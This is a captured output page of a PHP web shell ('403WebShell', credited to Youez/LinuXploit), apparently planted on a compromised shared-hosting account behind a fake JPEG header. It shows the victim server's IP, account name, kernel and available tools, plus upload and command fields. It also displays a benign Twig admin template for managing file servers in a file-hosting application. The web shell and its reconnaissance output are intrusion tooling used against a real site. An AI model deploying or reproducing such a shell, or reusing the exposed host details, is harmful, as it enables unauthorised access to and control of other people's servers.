����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.133.112.22
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/greatlifehub.ng/glfiles.name.ng/app/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/greatlifehub.ng/glfiles.name.ng/app/views/admin//server_manage.html.twig
{% extends "admin/partial/layout_logged_in.html.twig" %}

{% block title %}File Servers{% endblock %}
{% block selected_page %}file_servers{% endblock %}
{% block selected_sub_page %}server_manage{% endblock %}

{% block body %}
<script>
    oTable = null;
    gTestFileServerId = null;
    gDeleteFileServerId = null;
    $(document).ready(function () {
        // datatable
        oTable = $('#fileServerTable').dataTable({
            "sPaginationType": "full_numbers",
            "bServerSide": true,
            "bProcessing": true,
            "sAjaxSource": 'ajax/server_manage',
            "iDisplayLength": 25,
            "aaSorting": [[1, "asc"]],
            "aoColumns": [
                {bSortable: false, sWidth: '3%', sName: 'file_icon', sClass: "center adminResponsiveHide"},
                {sName: 'server_label', sWidth: '25%'},
                {sName: 'server_type', sWidth: '10%', sClass: "center adminResponsiveHide"},
                {sName: 'total_files', sWidth: '10%', sClass: "center"},
                {sName: 'status', sWidth: '10%', sClass: "center adminResponsiveHide"},
                {bSortable: false, sWidth: '20%', sClass: "center adminResponsiveHide"}
            ],
            "fnServerData": function (sSource, aoData, fnCallback) {
                aoData.push({"name": "filterText", "value": $('#filterText').val()});
                $.ajax({
                    "dataType": 'json',
                    "type": "GET",
                    "url": sSource,
                    "data": aoData,
                    "success": fnCallback
                });
            },
            "fnDrawCallback": function (oSettings) {
                postDatatableRender();
            },
            "oLanguage": {
                "sEmptyTable": "There are no files in the current filters."
            },
            dom: "lBfrtip",
            buttons: [
                {
                    extend: "copy",
                    className: "btn-sm"
                },
                {
                    extend: "csv",
                    className: "btn-sm"
                },
                {
                    extend: "excel",
                    className: "btn-sm"
                },
                {
                    extend: "pdfHtml5",
                    className: "btn-sm"
                },
                {
                    extend: "print",
                    className: "btn-sm"
                }
            ]
        });

        // update custom filter
        $('.dataTables_filter').html($('#customFilter').html());
    });

    function confirmRemoveFileServer(serverId, serverName, activeFiles)
    {
        $('#pleaseWait').hide();
        $('#confirmText').show();
        $('#serverNameLabel').html(serverName);
        $('#serverActiveFilesLabel').html(activeFiles);
        $('#confirmDelete').modal("show");
        gDeleteFileServerId = serverId;
    }

    function removeFileServer()
    {
        $('#confirmText').hide();
        $('#pleaseWait').show();
        $.ajax({
            type: "POST",
            url: "ajax/server_manage_remove",
            data: {serverId: gDeleteFileServerId},
            dataType: 'json',
            success: function (json) {
                if (json.error == true)
                {
                    $('#pleaseWait').hide();
                    $('#confirmText').show();
                    showError(json.msg);
                } else
                {
                    showSuccess(json.msg);
                    reloadTable();
                    $("#confirmDelete").modal("hide");
                }

            },
            error: function (XMLHttpRequest, textStatus, errorThrown) {
                $('#pleaseWait').hide();
                $('#confirmText').show();
                showError(XMLHttpRequest.responseText);
            }
        });
    }

    function loadFtpTestServerForm()
    {
        showBasicModal('<iframe src="server_manage_test_ftp?serverId=' + gTestFileServerId + '" style="background: url(\'{{ CORE_ASSETS_ADMIN_WEB_ROOT }}/images/spinner.gif\') no-repeat center center;" height="100%" width="100%" frameborder="0" scrolling="auto">Loading...</iframe>', 'Test FTP Server');
    }

    function loadDirectTestServerForm()
    {
        showBasicModal('<iframe src="server_manage_test_direct?serverId=' + gTestFileServerId + '" style="background: url(\'{{ CORE_ASSETS_ADMIN_WEB_ROOT }}/images/spinner.gif\') no-repeat center center;" height="100%" width="100%" frameborder="0" scrolling="auto">Loading...</iframe>', 'Test Server');
    }

    function loadFlysystemTestServerForm()
    {
        showBasicModal('<iframe src="server_manage_test_flysystem?serverId=' + gTestFileServerId + '" style="background: url(\'{{ CORE_ASSETS_ADMIN_WEB_ROOT }}/images/spinner.gif\') no-repeat center center;" height="100%" width="100%" frameborder="0" scrolling="auto">Loading...</iframe>', 'Test Storage Server');
    }

    function reloadTable()
    {
        oTable.fnDraw(false);
    }

    function testFtpFileServer(serverId)
    {
        gTestFileServerId = serverId;
        $('#testServerForm').modal("show");
        loadFtpTestServerForm();
    }

    function testDirectFileServer(serverId)
    {
        gTestFileServerId = serverId;
        $('#testServerForm').modal("show");
        loadDirectTestServerForm();
    }

    function testFlysystemFileServer(serverId)
    {
        gTestFileServerId = serverId;
        $('#testServerForm').modal("show");
        loadFlysystemTestServerForm();
    }

    function toggleAllUploads()
    {
        if (confirm("Are you sure you want to disable all uploads on your site? This will block any new uploads from starting for non-admin users."))
        {
            window.location = 'server_manage?toggle_uploads=1';
        }

        return false;
    }

    function toggleAllDownloads()
    {
        if (confirm("Are you sure you want to disable all downloads on your site? This will block any new downloads from starting for non-admin users."))
        {
            window.location = 'server_manage?toggle_downloads=1';
        }

        return false;
    }
</script>

<!-- page content -->
<div class="right_col" role="main">
    <div class="">
        <div class="page-title">
            <div class="title_left">
                <h3>{{ block('title') }}</h3>
            </div>
        </div>
        <div class="clearfix"></div>

        {{ msg_page_notifications|raw }}

        <div class="row">
            <div class="col-md-12 col-sm-12 col-xs-12">
                <div class="x_panel">
                    <div class="x_title">
                        <h2>Manage Servers</h2>
                        <div class="clearfix"></div>
                    </div>
                    <div class="x_content">
                        <table id="fileServerTable" class="table table-striped table-only-border dtLoading bulk_action">
                            <thead>
                                <tr>
                                    <th></th>
                                    <th>{{ t("server_label", "server label")|title }}</th>
                                    <th>{{ t("server_type", "server type")|title }}</th>
                                    <th>{{ t("total_files", "total files")|title }} *</th>
                                    <th>{{ t("status", "status")|title }}</th>
                                    <th>{{ t("action", "action")|title }}</th>
                                </tr>
                            </thead>
                            <tbody>
                                <tr>
                                    <td colspan="20">{{ t('admin_loading_data', 'Loading data...') }}</td>
                                </tr>
                            </tbody>
                        </table>

                        <div class="clear"><br/></div>
                        <p>Note: Active servers above might not necessarily be used for new uploads. You can set which specific server is used within the <a href="setting_manage?filterByGroup=File+Uploads&selectedItem=default_file_server">site configuration</a> section.</p>
                        <p>* The "total files" data is refreshed every 5 minutes, so the above values may be slightly out of date. Stats are for active or trash items, pending deletes in the <a href="file_manage_action_queue">file action queue</a> are not included. You can force a refresh by <a href="server_manage?r=1">click here</a>.</p>
                    </div>
                </div>

                <div class="x_panel">
                    <div class="btn-group pull-right">
                        <a href="#" type="button" class="btn btn-{{ (SITE_CONFIG_UPLOADS_BLOCK_ALL == 'yes') ? 'danger' : 'default' }} buttonmobileAdminResponsiveHide" onclick="toggleAllUploads(); return false;">{{ (SITE_CONFIG_UPLOADS_BLOCK_ALL == 'yes') ? 'Enable' : 'Disable' }} All Site Uploads</a>&nbsp;
                        <a href="#" type="button" class="btn btn-{{ (SITE_CONFIG_DOWNLOADS_BLOCK_ALL == 'yes') ? 'danger' : 'default' }} buttonmobileAdminResponsiveHide" onclick="toggleAllDownloads(); return false;">{{ (SITE_CONFIG_DOWNLOADS_BLOCK_ALL == 'yes') ? 'Enable' : 'Disable' }} All Site Downloads</a>
                    </div>
                    {% if Auth.hasAccessLevel(20) %}
                        <div class="btn-group pull-left">
                            <a href="{{ ADMIN_WEB_ROOT }}/server_add_edit" type="button" class="btn btn-primary">Add File Server</a>
                        </div>
                    {% endif %}
                </div>

            </div>
        </div>
    </div>
</div>

<div class="customFilter" id="customFilter" style="display: none;">
    <label>
        Filter Results:
        <input name="filterText" id="filterText" type="text" class="form-control" value="{{ filterText }}" onKeyUp="reloadTable(); return false;" style="width: 160px;"/>
    </label>
</div>

<div id="confirmDelete" class="modal fade" tabindex="-1" role="dialog" aria-hidden="true">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header"><button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span></button></div>
            <div class="modal-body" id="removeFileServerForm">
                <div class="x_panel">
                    <span id="confirmText">
                        <div class="x_title">
                            <h2>Confirm File Server Removal</h2>
                            <div class="clearfix"></div>
                        </div>
                        <div class="x_content">
                            <p>Are you sure you want to remove the file server called '<span id="serverNameLabel" style="font-weight: bold;"></span>'?</p>
                            <p>There are <span id="serverActiveFilesLabel"></span> file(s) on this server. Any active files will be removed and any historic data will be lost. This includes the statistics on these and previously expired files.</p>
                            <p>Once confirmed, this action can not be reversed.</p>
                            <p>Note: If there are a lot of files on this file server, this process may take a long time to complete.</p>
                        </div>
                    </span>
                    <span id="pleaseWait">
                        Removing, please wait...
                    </span>
                </div>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
                <button type="button" class="btn btn-primary" onClick="removeFileServer(); return false;">Confirm File Server Removal</button>
            </div>
        </div>
    </div>
</div>
{% endblock %}

Youez - 2016 - github.com/yon3zu
LinuXploit